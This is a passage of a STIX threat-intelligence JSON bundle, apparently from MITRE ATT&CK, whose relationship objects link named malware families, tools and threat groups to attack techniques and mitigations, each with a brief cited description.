                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
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            ],
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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.937Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-31T22:18:43.131Z",
            "created": "2017-05-31T21:33:27.030Z"
        },
        {
            "id": "relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via a .lnk file stored in the Startup directory.(Citation: Unit 42 SeaDuke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T02:32:57.958Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b1334535-019a-4d6a-88c1-8bb6741f152b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[meek](https://attack.mitre.org/software/S0175) uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
            "type": "relationship",
            "modified": "2021-02-09T23:00:38.761Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--bc8f14a1-dc24-42cb-a0dd-3cc0c25d5eae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) uses cmd.exe to execute commands for discovery.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.059Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect information about anti-virus software on the victim.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.470Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.834Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0e12d7d1-5c46-4314-97fb-263853eed6af",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of writing a file to the compromised system from the C2 server.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.590Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has used Android backdoors capable of exfiltrating specific files directly from the infected devices.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.734Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--2de4d7df-18fc-4202-93ee-2fcfe6f2e501",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) accesses the <code>HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData</code> Registry key to obtain the System manufacturer value to identify the machine type.(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-07-26T22:56:58.337Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ade60661-8dfb-473a-8d12-014ba0273934",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging and screen captures.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.250Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--88c50625-6d02-42fb-aa82-4315a532b754",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware gathers the victim's local IP address, MAC address, and external IP address.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.276Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--92bc1e7b-6700-4d11-b82e-24284f30c2d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted tmp and prefetch files during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.691Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--28471736-5b62-4132-b4ed-c22ae449b455",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)",
            "type": "relationship",
            "modified": "2020-06-24T01:27:31.917Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6549c38d-46b4-4633-a479-0cbeb405f186",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware has conducted C2 over HTTP and HTTPS.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                },
                {
                    "source_name": "TrendMicro macOS Dacls May 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/",
                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.825Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d0327dce-ca02-48ba-8830-85fcc574113c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A Destover-like implant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) can obtain the current system time and send it to the C2 server.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee GhostSecret",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.223Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) creates folders to store output from batch scripts prior to sending the information to its C2 server.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:59:44.021Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6aadee2b-d475-4604-bb08-7df5e59eae3a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.(Citation: Symantec Nerex May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Nerex May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32"
        },
        {
            "id": "relationship--d7699bcf-5732-40f5-a715-d430b00b043e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to download and execute .exe files.(Citation: Symantec Backdoor.Mivast)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Mivast",
                    "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.",
                    "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"
                }
            ],
            "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T01:57:13.518Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dd792651-5ab5-4d9c-ab46-7dfedcd811f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
            "type": "relationship",
            "modified": "2020-01-24T17:57:51.424Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--abdf9690-d578-4f86-a2cc-295c2789bb4e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) establishes persistence by adding a new service with the display name \"WMI Performance Adapter Extension\" in an attempt to masquerade as a legitimate WMI service.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.855Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5301c007-7c00-4b4d-b355-864db8de052f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.906Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9f496c45-eac5-464f-858b-ef481f2f37ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can enumerate registry keys.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.513Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "DLL side-loading has been used to execute [BBSRAT](https://attack.mitre.org/software/S0127) through a legitimate Citrix executable, ssonsvr.exe. The Citrix executable was dropped along with [BBSRAT](https://attack.mitre.org/software/S0127) by the dropper.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.413Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c0b07b4a-d421-4faa-8564-4cc89668afac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
            "type": "relationship",
            "modified": "2020-02-21T21:17:03.453Z",
            "created": "2017-05-31T21:33:27.023Z"
        },
        {
            "id": "relationship--1bd467ff-6e94-40c5-ae4d-2ed7c62bc0d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-Keystrokes</code> Exfiltration module can log keystrokes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:32:50.497Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9c203488-e4e0-4e41-8a92-e350eabf6e65",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "Lazarus KillDisk",
                    "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.",
                    "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"
                }
            ],
            "description": "(Citation: Lazarus KillDisk)",
            "type": "relationship",
            "modified": "2019-12-20T14:28:39.545Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--573916d8-804d-4453-be37-e6b1865e87db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) obfuscates API function names using a substitute cipher combined with Base64 encoding.(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CopyKittens Nov 2015",
